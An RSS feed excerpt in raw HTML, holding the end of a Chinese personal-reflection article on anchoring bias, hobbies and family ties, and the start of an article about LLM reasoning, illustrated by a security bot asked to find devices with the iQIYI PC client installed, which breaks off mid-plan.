YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;2 2 [\&#34;para\&#34;,{\&#34;tagName\&#34;:\&#34;section\&#34;,\&#34;attributes\&#34;:{\&#34;style\&#34;:null},\&#34;namespaceURI\&#34;:\&#34;\&#34;},\&#34;para\&#34;,{\&#34;tagName\&#34;:\&#34;section\&#34;,\&#34;attributes\&#34;:{\&#34;style\&#34;:\&#34;text-align: center; margin-bottom: 8px; margin-top: 24px;\&#34;},\&#34;namespaceURI\&#34;:\&#34;http://www.w3.org/1999/xhtml\&#34;}]&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"> </span></span></p><p style="margin-top: 0px;"><span leaf=""><span textstyle="" style="font-size: 14px;">人会因为</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);">锚定效应</span><span textstyle="" style="font-size: 14px;">和</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);">沉没成本效应</span><span textstyle="" style="font-size: 14px;">，错失更好的机会。</span></span></p><p style="margin-top: 0px;"><span leaf=""><span textstyle="" style="font-size: 14px;">比如，曾经经历过</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">一段刻骨铭心的感情，就会成为一个情感锚点。潜意识中，会被用来衡量未来的恋人。这会导致我们错失遇见和了解一个好恋人的机会。</span></span></p><p style="margin-top: 16px;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 16px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);">很多投资者常犯的连环错误，就是在被成本价锚定后，因为厌恶沉没成本损失，死扛表现不好的股票，失去买入更好股票的机会。然后，最为致命的一步，他们还在回本后立马清仓。挨打全程参与，赚钱过程却不参与。</span></span></p><p style="text-align: center;margin-top: 16px;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100000172" data-ratio="0.3472222222222222" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=5aa49e24&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9nlw7MI1yfFytEN2s7uamDicshIJERwcUTQtEu5TjKBibyldNNK3AaxHsico8RejeicTRrQ8phia5UbtQw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 16px;"><span leaf=""><span textstyle="" style="font-size: 14px;">拒绝被锚定，不要害怕沉没成本损失，因为，新标的的潜在收益部分，你也应该理性纳入考量。</span></span></p><p style="text-align: center;margin-bottom: 8px;margin-top: 24px;"><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="2 2 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: center; margin-bottom: 8px; margin-top: 24px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: center; margin-bottom: 8px; margin-top: 24px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;2 2 [\&#34;para\&#34;,{\&#34;tagName\&#34;:\&#34;section\&#34;,\&#34;attributes\&#34;:{\&#34;style\&#34;:null},\&#34;namespaceURI\&#34;:\&#34;\&#34;},\&#34;para\&#34;,{\&#34;tagName\&#34;:\&#34;section\&#34;,\&#34;attributes\&#34;:{\&#34;style\&#34;:\&#34;text-align: center; margin-bottom: 8px; margin-top: 24px;\&#34;},\&#34;namespaceURI\&#34;:\&#34;http://www.w3.org/1999/xhtml\&#34;}]&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">  兴趣是</span><span leaf="">抵御岁月漫长的最佳武器</span></span></p><p style="margin-top: 16px;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 16px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 14px;">兴趣爱好</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">可以陪伴我们一生。</span></span></p><p style="margin-top: 0px;"><span leaf=""><span textstyle="" style="font-size: 14px;">当我们压力大时，做感兴趣的事，能够阻断负面情绪，隔离焦虑。</span></span></p><p style="margin-top: 0px;"><span leaf=""><span textstyle="" style="font-size: 14px;">当未来我们年长时，兴趣也是我们对抗孤独的方法。</span></span></p><p style="margin-top: 0px;"><span leaf=""><span textstyle="" style="font-size: 14px;">所以，年少时，尽管去尝试，去发现，关于这个世界，你喜欢的一切。</span></span></p><p style="text-align: center;margin-bottom: 8px;margin-top: 24px;"><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="2 2 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: center; margin-bottom: 8px; margin-top: 24px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: center; margin-bottom: 8px; margin-top: 24px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;2 2 [\&#34;para\&#34;,{\&#34;tagName\&#34;:\&#34;section\&#34;,\&#34;attributes\&#34;:{\&#34;style\&#34;:null},\&#34;namespaceURI\&#34;:\&#34;\&#34;},\&#34;para\&#34;,{\&#34;tagName\&#34;:\&#34;section\&#34;,\&#34;attributes\&#34;:{\&#34;style\&#34;:\&#34;text-align: center; margin-bottom: 8px; margin-top: 24px;\&#34;},\&#34;namespaceURI\&#34;:\&#34;http://www.w3.org/1999/xhtml\&#34;}]&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">  情感支持的改善和经营</span></span></p><p style="margin-top: 16px;"><span leaf=""><span textstyle="" style="font-size: 14px;">有的人很幸运，生活在幸福和睦的家庭。</span></span></p><p style="margin-top: 0px;"><span leaf=""><span textstyle="" style="font-size: 14px;">有的人很不幸，需要一辈子去治愈原生家庭带来的苦痛。</span></span></p><p style="margin-top: 0px;"><span leaf=""><span textstyle="" style="font-size: 14px;">其实最近几年，我和父母的关系不断恶化，积累了大量的误解和分歧。去年我邀请他们来北京过了春节，又使用全部的年假陪他们去新加坡香港旅行</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 14px;">10天</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">。 但这2段相处过程都并不轻松，没能给彼此很好的体验。相反，徒增些烦扰收场。</span></span></p><p style="margin-top: 0px;"><span leaf=""><span textstyle="" style="font-size: 14px;">或许，未来的某个时候，我还会再尝试沟通化解，改善我们相处的关系。</span></span></p><p style="margin-top: 0px;"><span leaf=""><span textstyle="" style="font-size: 14px;">经营和家人父母，和恋人爱人，和朋友的关系，是我们必须修炼的。</span></span></p><p style="margin-top: 0px;"><span leaf=""><span textstyle="" style="font-size: 14px;">珍惜真正的朋友，有时间还是聚一聚。 </span></span></p><p style="text-align: center;margin-bottom: 8px;margin-top: 24px;"><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="2 2 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: center; margin-bottom: 8px; margin-top: 24px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: center; margin-bottom: 8px; margin-top: 24px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;2 2 [\&#34;para\&#34;,{\&#34;tagName\&#34;:\&#34;section\&#34;,\&#34;attributes\&#34;:{\&#34;style\&#34;:null},\&#34;namespaceURI\&#34;:\&#34;\&#34;},\&#34;para\&#34;,{\&#34;tagName\&#34;:\&#34;section\&#34;,\&#34;attributes\&#34;:{\&#34;style\&#34;:\&#34;text-align: center; margin-bottom: 8px; margin-top: 24px;\&#34;},\&#34;namespaceURI\&#34;:\&#34;http://www.w3.org/1999/xhtml\&#34;}]&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">  </span><span leaf="">愿你达成所愿  </span></span></p><p style="margin-top: 0px;"><span leaf=""><span textstyle="" style="font-size: 14px;">人生黄金十年   </span></span></p><p style="margin-top: 0px;"><span leaf=""><span textstyle="" style="font-size: 14px;">愿你达成所愿</span></span></p><p style="margin-top: 0px;"><span leaf=""><span textstyle="" style="font-size: 14px;">得到自己想要的生活</span></span></p></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247483824">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=cdd73b21&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyNjM0MjQ2Mw%3D%3D%26mid%3D2247483824%26idx%3D1%26sn%3Dc34c6f626c89baf7963cb5c431a45133">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 24 Aug 2025 18:13:00 +0800</pubDate>
    </item>
    <item>
      <title>LLM推理能力进化：自我反思和策略优化</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyNjM0MjQ2Mw==&amp;mid=2247483818&amp;idx=1&amp;sn=7c7a3c34eb3797deca0345fa66b0ec3c</link>
      <description>让我用一个简单案例，介绍LLM推理能力的进化。</description>
      <content:encoded><![CDATA[<p>
原创 <span>Li JieJie</span> <span>2025-08-20 12:13</span> <span style="display: inline-block;">北京</span>
</p>




<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=2f8fd494&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0jezbBnTO9nPNLPibBVqBw2ibnuZibH7sRUabJUyPbdfVPL0m3lic2ODWsHv3n7elFo0hNtIRda8eeW6HtZXe6wYvA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">让我用一个简单案例，介绍LLM推理能力的进化。LLM在越来越多的任务中，表现出了典型的自我反思，它主动评估结果，尝试改进方法，</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 24px;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span textstyle="" style="font-size: 14px;">优化</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">策略，并最终得到用户所需的结果，越来越显示出解决复杂问题的 &#34;</span><span textstyle="" style="font-size: 14px;font-weight: bold;">思路</span><span textstyle="" style="font-size: 14px;">&#34;和能力。</span></span></p><div style="margin-bottom: 8px;"><p style="margin-top: 8px;margin-bottom: 8px;text-align: center;"><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;">  </span><span leaf="">安装爱奇艺PC客户端的设备</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;"> </span></span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 14px;">运营同事发送给安全机器人一个常见任务，甚至并不包含任何动作：</span><span textstyle="" style="font-size: 14px;font-weight: bold;">安装爱奇艺PC客户端的设备</span></span></p><p style="text-align: left;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100000167" data-ratio="0.27705627705627706" data-s="300,640" type="block" data-type="png" data-w="462" style="width: 244px;height: 68px;" src="https://wechat2rss.xlab.app/img-proxy/?k=f179d155&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9nPNLPibBVqBw2ibnuZibH7sRUo5N4F4ShanAlWMeU0iaVfoLeOWAgzp3vF3tElrBcTstiaMBIvRdAGwZw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 8px;margin-top: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">LLM</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 14px;">规划</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">任务如下</span></span></p></div><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><div style="margin-bottom: 8px;"><p style="margin-bottom: 8px;margin-top: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;background-color: rgb(216, 79, 169);color: rgb(255, 255, 255);font-weight: bold;">调查</span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin-right: 0px;margin-left: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 15px;background-color: rgb(216, 79, 169);color: rgb(255, 255, 255);font-weight: bold;">计划</span></span></span></p><p style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0.5em 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);"><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">为了</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">找到</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">安装</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">了</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">“</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">爱</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">奇</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">艺</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">PC</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">客户</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">端</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">”</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">的</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">设备</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">，</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">我</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 14px;">需要</span></span></span><span style="box-sizing: border-box;border: 0px solid oklch(0.922 0 0);margin: 0px;padding: 0px;outline-color: oklab(0.708 0 0 / 0.5);animation: 1s ease 0s 1 normal none running fade-in;"><span leaf=""><span textstyle="" style="font-size: 